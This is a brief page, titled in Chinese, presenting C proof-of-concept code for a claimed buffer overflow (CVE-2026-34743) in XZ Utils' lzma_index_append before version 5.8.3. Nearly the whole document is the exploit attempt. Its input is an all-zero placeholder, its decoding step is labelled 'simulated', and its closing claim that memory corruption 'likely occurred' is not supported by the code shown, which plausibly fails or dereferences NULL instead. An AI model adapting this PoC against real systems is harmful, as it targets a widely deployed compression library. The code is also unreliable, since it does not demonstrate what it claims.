CVE-2026-34743 XZ Utils缓冲区溢出漏洞

/* * PoC for CVE-2026-34743 * This code demonstrates the buffer overflow vulnerability in XZ Utils < 5.8.3. * Triggering the bug involves decoding an empty index and then appending data. */ #include <stdio.h> #include <stdint.h> #include <lzma.h> int main(void) { lzma_stream strm = LZMA_STREAM_INIT; lzma_index *i = NULL; // Initialize index decoder // In a real exploit, 'in_buf' would contain specific bytes representing an empty index uint8_t in_buf[1024] = {0}; if (lzma_index_decoder(&strm, &i, UINT64_MAX) != LZMA_OK) { fprintf(stderr, "Decoder initialization failed\n"); return 1; } // Process the input to trigger the empty index state strm.next_in = in_buf; strm.avail_in = sizeof(in_buf); // Decode the stream (simulated) // If the stream represents an index with 0 records, lzma_index state is corrupted lzma_code(&strm, LZMA_FINISH); // The vulnerable call: lzma_index_append // Because the previous state was corrupted, this allocates too little memory // and causes a buffer overflow when writing. lzma_ret ret = lzma_index_append(i, NULL, 0, 1000); if (ret != LZMA_OK) { printf("Append failed (expected if crash didn't occur): %d\n", ret); } else { printf("PoC executed. Memory corruption likely occurred if version < 5.8.3\n"); } lzma_end(&strm); return 0; }